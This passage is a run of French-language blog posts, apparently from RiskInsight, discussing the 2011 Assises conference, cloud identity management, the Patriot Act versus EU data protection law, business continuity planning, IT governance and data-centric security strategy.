Finalement la gestion de risques et l’évolution du rôle du RSSI ont, une fois de plus, été l’objet de nombreuses discussions dans plusieurs ateliers, dont celui animé par Solucom. Le débat s’est élargi, touchant alors à des problématiques hors « sécurité », avec notamment une intervention de premier plan de Luc Ferry sur la multiplication des peurs dans notre société. J’en retiendrai que la peur ne doit pas être le premier élément de nos réflexions et que la gestion du risque ne doit pas être un frein au développement ou à l’innovation !

L’ANSSI a animé une plénière pour alerter la communauté et lui demander de revenir aux fondamentaux de la sécurité, quelle est votre analyse ?

Je pense qu’aujourd’hui la communauté sécurité connaît bien ces fondamentaux (gestion d’identité, correctifs, antivirus, durcissement…), mais elle est confrontée depuis plus d’une dizaine d’année à la difficulté de les faire appliquer. Les équipes techniques et les métiers rechignent, les directions ne comprennent pas.

Cet état de fait a amené la communauté à s’orienter d’une part autour de la gestion des risques, afin de  concrétiser et d’expliciter en termes « métier » les impacts potentiels, mais aussi d’autre part dans la publication de nombreuses normes ou réglementations pour aider ou « forcer » l’application de ces mesures. Pourtant, cela n’a marché qu’un temps et la plupart de ces initiatives se sont transformées en sécurité « cache sexe » comme le disait Patrick Pailloux. Cela est un vrai drame car ces démarches pourtant de qualité sont trop souvent dévoyées !

A mon sens, aujourd’hui, la communauté sécurité manque de leviers pour convaincre les directions et les métiers. Elle manque également de support managérial pour réellement sanctionner et faire évoluer des pratiques déviantes souvent rencontrées. Les récents incidents médiatiques sont une aide mais la logique du « cela n’arrive qu’aux autres » est encore trop répandue

L’ANSSI, grâce à son message « back to basics », joue un rôle de premier plan. Mais elle pourrait aller plus loin en faisant part régulièrement de leur « thermomètre » du risque tel qu’évoqué durant la plénière afin de faciliter la sensibilisation des donneurs d’ordre.

Il faut arrêter de minimiser l’exposition de la France aux menaces cybercriminelles. L’illusion de sécurité est bien trop répandue aujourd’hui et j’espère que  les messages forts de la plénière aideront à changer cette situation.

Cet article Trois questions à Gérôme Billois sur les Assises 2011 est apparu en premier sur RiskInsight.

La difficulté de la prédictibilité des coûts dans le cloud

Le modèle du cloud nécessite une attention forte pour ne pas perdre au bout de quelques temps les gains économiques escomptés, voire éviter une réelle dérive des coûts. Dans le cloud, comme au sein du SI historique, une gestion fiable des identités est ainsi essentielle pour garantir durablement la maîtrise du nombre d’accédants à ces services.

Bien évidemment, elle vise également à renforcer la protection de l’accès aux informations qui y sont stockées. Elle y est même encore plus indispensable, vu l’absence de garde-fous traditionnellement rencontrés, comme par exemple la « porte d’entrée » Active Directory ou le contrôle d’accès physique.

Gérer les identités dans le cloud : quelles stratégies gagnantes ?

Comment le faire concrètement ? Plusieurs solutions sont envisageables :

–       Gestion manuelle sur le site du service cloud par les équipes de l’entreprise. C’est certes efficace pour lancer rapidement des initiatives cloud, mais il faut prévoir de rencontrer, tout aussi rapidement, toutes les limites bien connues de la gestion manuelle : écart, difficultés de maintien, complexité des revues…

–       Gestion automatisée via un service de provisioning/deprovisioning avec des contrôles a priori (validations) et/ou a posteriori (contrôles et recertifications) : l’accès aux services cloud piloté par les processus et les outils IAM de l’entreprise. Mêmes solutions que dans le SI historique… et mêmes vigilances et bonnes pratiques pour éviter toute désillusion !

–       Gestion automatisée via un service de fédération d’identités : certainement aujourd’hui la solution à privilégier quand cela est possible, puisqu’elle apporte des réponses satisfaisantes aussi bien sur les problématiques de gestion au quotidien qu’en termes d’expérience utilisateur. Après des années de balbutiements où les entreprises n’allaient quasiment jamais plus loin qu’un prototype, les derniers dix-huit mois marquent le réel envol de la fédération avec des réalisations significatives.

–       Gestion automatisée et fédérée par un tiers de confiance, jouant le rôle d’intermédiaire entre l’entreprise et les différents offreurs de services cloud. Des acteurs commencent à se positionner sur ce sujet, mais la classique question de la confiance se pose !

Le cloud : un booster pour les projets IAM

Sujets à traiter, bon sens et bonnes pratiques, priorisation et angles d’attaque, risques et écueils à éviter : la gestion des identités dans le cloud doit relever les mêmes challenges que dans le SI historique.

Et si le cloud était un levier formidable pour d’une part simplifier et fiabiliser les processus et outillages IAM actuels, et d’autre part faire décoller l’usage de nouveaux services IAM de type reporting et recertification ?

Cet article Cloud computing : maîtriser ses coûts grâce à une bonne gestion des identités est apparu en premier sur RiskInsight.

Une nouvelle bataille juridique s’ouvre entre les États-Unis et l’Europe. En jeu cette fois-ci, le Cloud Computing. L’’affiche ? USA Patriot Act Vs. Directive Européenne de protection des données à caractère personnel.

D’un côté, l’USA Patriot Act. Véritable épouvantail de l’externalisation et fer de lance de la lutte antiterroriste US, il autorise les écoutes et la capture de données par les autorités américaines, avec un encadrement judiciaire permettant de le faire à l’insu de leur propriétaire… Il constitue l’argument le plus précieux des opposants de l’hébergement de données aux Etats-Unis.

De l’autre, la Directive européenne pour la protection des données à caractère personnel. Mère européenne de la Loi Informatique et Libertés française, elle encadre fortement le traitement de données en dehors de frontières de l’Union et, plus généralement, leur accès non légitime et non autorisé par le responsable de traitement. Bien plus, elle le rend pénalement responsable de tout accès tiers non signalé aux propriétaires des données.

Au centre, Microsoft. Le géant de Redmond consent des efforts importants pour être en conformité avec les réglementations sur les données à caractère personnel. En particulier, leur adhésion aux principes du Safe Harbor , qui, en dépit de certaines limites, constitue une garantie jugée suffisante par l’Europe pour que soit autorisé le transfert de données à caractère personnel vers une entreprise américaine. D’autre part la mise en place d’un Cloud européen, aux serveurs dédiés et localisés strictement au sein des frontières de l’Union ensuite, offre une solution simple pour la conformité.

A l’origine de la bataille, une conférence dédiée au lancement d’Office 365. Le directeur Royaume-Uni de Microsoft a alors reconnu tout haut ce que bon nombre de spécialistes du secteur murmuraient déjà : son siège social étant domicilié aux Etats-Unis, Microsoft est soumis au droit national… et doit donc appliquer l’USA Patriot Act y compris sur le sol européen.

Et ceci est vrai pour l’ensemble des fournisseurs américains de services de Cloud computing ! Ils pourraient ainsi être amenés à communiquer aux autorités américaines des données de leurs clients européens, en dehors de tout cadre légal national ou communautaire.

Cette transparence soudaine signe-t-elle le début de la fin du Cloud computing made in USA ? ou s’agit-il d’une opportunité de croissance inespérée pour les fournisseurs européens ? Doit-on s’attendre à une migration massive des premiers vers les seconds ?

Ce qui est vécu comme une ingérence américaine sur le terrain législatif communautaire est aujourd’hui examiné par la Commission Européenne, qui s’est saisie du sujet.

Sans préjuger en rien des conclusions des débats d’ores et déjà très animés sur le sujet, cette bataille mérite d’être suivie avec attention.  Et permet de rappeler l’importance d’une analyse de risques, y compris juridiques, avant tout recours à un fournisseur externe…

Cet article La guerre des réglementations aura-t-elle raison du cloud computing? est apparu en premier sur RiskInsight.

Si la continuité d’activité fait partie depuis longtemps des préoccupations de bon nombre d’entreprises, elle demeure néanmoins un sujet d’actualité pour 2011. Même sur le volet informatique, souvent le plus mûr, des évolutions sont à prévoir. Quasiment tous les grands comptes disposent aujourd’hui d’un plan de continuité informatique (PCI) performant, bâti à l’initiative des DSI pour répondre à la dépendance croissante des organisations au SI. Mais cela n’est plus suffisant.

Un PCI soumis aux innovations et aux nouvelles menaces

Le PCI se doit de suivre l’évolution rapide de la production informatique, pour en profiter au mieux. Parmi les innovations marquantes figurent la virtualisation et le cloud computing. La première peut faciliter grandement les opérations de bascule et de redémarrage, parfois même « à chaud » et sans interruption de service. Le second, par la révolution qu’il impose au SI, nécessite la révision intégrale du dispositif de secours.

Au-delà, le cloud computing peut également constituer une solution de secours en soi, alternative aux sites de secours classiques. Mais comme pour la production, il induit des risques pour la sécurité des données, et est souvent encore insuffisamment rassurant quant à la capacité réelle de reprise qu’il apporte.

Parallèlement, les exigences envers les PCI évoluent : en effet, de nouvelles menaces apparaissent régulièrement et ne sont pas couvertes par les plans actuels. La plus prégnante aujourd’hui est sans doute le risque de cyber attaque, choc « extrême » à propos duquel la réflexion s’engage à peine.

Faire mûrir le volet opérationnel

La continuité d’activité ne se limite pas à celle de l’informatique : les réflexions sur la continuité des opérations progressent également. Là encore, les chocs extrêmes constituent une limite forte aux plans actuels. La plupart des organisations savent faire face à l’indisponibilité d’un bâtiment, mais restent souvent démunies face à un sinistre de plus grande ampleur, type crue de Seine. Le traitement de cette problématique sera un des enjeux des années à venir.

Les prestations de services externalisées constituent également un sujet d’attention, compte tenu de leur importance majeure pour la plupart des organisations : comment identifier les prestations réellement clés, quelles exigences fixer aux prestataires, et comment s’assurer du respect des engagements ?

Enfin, la capacité à maintenir dans le temps les plans de continuité d’activité (PCA) est une problématique majeure : adapter en permanence le plan aux évolutions rapides des organisations et du SI nécessite une méthodologie rigoureuse pour capter l’évolution des besoins et des solutions, et vérifier en permanence leur adéquation.

Le déploiement progressif d’une norme ISO sur le sujet en serait-il un levier ? Largement issue de la norme BS 25999, elle adapte la notion de système de management aux processus de continuité d’activité. Les responsables PCA devront bientôt choisir entre se contenter de suivre les bonnes pratiques, ou aller jusqu’à l’alignement voire la certification.

Ne pas oublier les fondamentaux

Bien entendu, ces sujets d’actualité ne doivent par occulter les problématiques classiques de la continuité. Du bilan d’impact sur l’activité au maintien en condition opérationnelle en passant par le choix de la stratégie, le PCA doit rester un processus vivant, sous peine de disposer d’un plan inutile le jour J. Le maintien de cet effort dans un contexte budgétaire contraint est capital. Outre qu’il permettra d’assurer la continuité de l’activité au besoin, ce souci constant offre  aux organisations l’opportunité de progresser sur un sujet de plus en plus sensible, la connaissance et la maîtrise de leurs risques. A ce titre, le PCA est bien plus qu’une simple assurance, et doit rester un sujet d’attention majeur pour les années à venir.

Cet article La continuité d’activité : de nouveaux défis pour 2011 est apparu en premier sur RiskInsight.

Des évolutions technologiques

2010 a été marquée par de fortes évolutions technologiques, et en premier lieu par l’innovation apportée par le cloud. Au-delà des apports fonctionnels et des évolutions techniques, l’approche cloud provient surtout de la diffusion d’un nouveau modèle économique construit autour de la notion de service informatique identifiable, qualifiable et dénombrable pour les utilisateurs finaux. L’approche cloud entraîne pour la DSI des questions d’intégration, de sécurisation et de gouvernance. Intégration des différentes briques de services entre elles (y compris les stratégies de sourcing sous-jacentes), maintien d’un niveau de sécurité acceptable pour les clients de la DSI au regard de leur analyse de risque et remises en cause de la gouvernance et des organisations par un renforcement des capacités des DSI à piloter et orchestrer des services externes.

Des évolutions d’usage

La montée en puissance des réseaux sociaux, la multiplication des terminaux mobiles (smartphones, tablettes) et l’arrivée à maturité des magasins d’applications (Appstore, AndroidMarket, etc.) sont en train de faire une entrée significative dans le monde de l’entreprise après avoir révolutionné les usages privés. Ces nouveaux usages brouillent la frontière entre réseau d’entreprise et internet entre usage professionnel et privé. A l’inverse des années 90, les usagers deviennent souvent mieux équipés à titre personnel que professionnel.

Des évolutions d’approche

Tout d’abord, il y a l’arrivée progressive de la génération Y (née entre la fin des 1970’s et le début des 1990’s) à la tête des entreprises. Cela pèsera fortement sur les orientations informatiques. En parallèle, l’informatique verte restera un sujet clé d’autant que la réalisation d’investissements plus éco responsables deviendra un enjeu financier de taille, surtout face à l’inflation du prix de l’énergie.

Quels impacts sur la gouvernance ?

L’impact de toutes ces évolutions sur l’organisation et la gouvernance des DSI est indéniable et se traduit d’ores et déjà chez un certain nombre de nos clients par un renforcement des fonctions transverses de pilotage, missions régaliennes par définition impossibles à externaliser. Quelques exemples. Le pilotage de l’offre de service, très orienté ces dernières années autour des notions de catalogue de service et d’unité d’œuvre avec pour objectif de mieux expliquer les services offerts par la DSI se renforce fortement sur des aspects économiques avec en ligne de mire la mise en place d’une grille de tarifs comparable à des prix de marché. Le pilotage des budgets SI se professionnalise pour mieux maîtriser les dépenses IT et en démontrer la valeur aux métiers. Le pilotage du portefeuille de projets, bien que complexe à mettre en place, devient un incontournable pour assurer un alignement entre la stratégie des métiers et les projets SI. Préparer 2011, c’est pour nos clients savoir anticiper ces évolutions et analyser leurs impacts pour être en mesure d’améliorer leur performance économique et opérationnelle.

Cet article Des évolutions structurantes pour la gouvernance des SI est apparu en premier sur RiskInsight.

De nombreux incidents ont rythmé l’année. Deux cas ressortent particulièrement : Stuxnet, premier virus ciblant spécifiquement des équipements industriels, Wikileaks et la fuite de données gigantesque qui a touché les Etats-Unis. 2010 a également été une année où de nouveaux usages se sont développés! La virtualisation, qui est maintenant définitivement entrée dans les datacenters, le cloud computing, qui fait ses premières preuves ou encore les smartphones et autres tablettes avec des premiers déploiements métiers mais également des premiers usages innovants d’utilisation d’équipements personnels.

Une nouvelle approche pour de nouveaux enjeux

L’ensemble de ces évènements a aussi montré la limite des approches sécurité classiques. Celles-ci sont basées avant tout sur une protection de l’infrastructure du SI. Nous ajoutons des mécanismes de sécurité sur les différentes briques que sont le poste de travail, le réseau d’entreprise, l’accès Internet, voir le datacenter. Mais cette approche ne permet plus de répondre aux nouveaux enjeux ! En effet l’information est de moins en moins traitée sur les infrastructures de l’organisation. Elle est de plus en plus partagée, avec des partenaires et des clients, accédées depuis des équipements mobiles voir personnels, parfois encore traitées sur des systèmes aux contours plus ou moins connus comme dans le cadre du cloud computing.
Une nouvelle stratégie de réponse doit être envisagée face à ces évolutions, une stratégie qui devra être basé sur un principe simple : protéger au plus près les informations les plus sensibles. En effet pour être efficace et pérenne la sécurité doit se rapprocher de l’information, voir être portée par l’information elle-même, pour pouvoir être mieux partagée tout en étant toujours sécurisée.

Quelles en sont les conséquences ?

Ceci nécessite de planifier des chantiers ambitieux, lié par exemple à la classification des informations les plus sensibles, à la mise en place de mécanismes de protections des données (chiffrement, DRM, DLP…) ou encore à l’inclusion des mesures de sécurité dans les applications (chiffrement, scellement, authentification, processus projet…). Bien entendu les fondamentaux de la gestion des identités jouent un rôle essentiel et devront être encore renforcés pour y ajouter la gestion des partenaires et des clients. Mais il faudra aussi faire évoluer les habitudes, en ayant un focus particulier sur les équipes en charge des applications au cœur de cette nouvelle problématique de protection.L’objectif de 2011 est de faire évoluer nos principes pour aller de la protection de l’infrastructure à une vraie protection des données. Voici une année qui s’annonce donc riche en projets et en challenge !

Cet article 2010 – 2011 : protéger les infrastructures ou protéger les données ? est apparu en premier sur RiskInsight.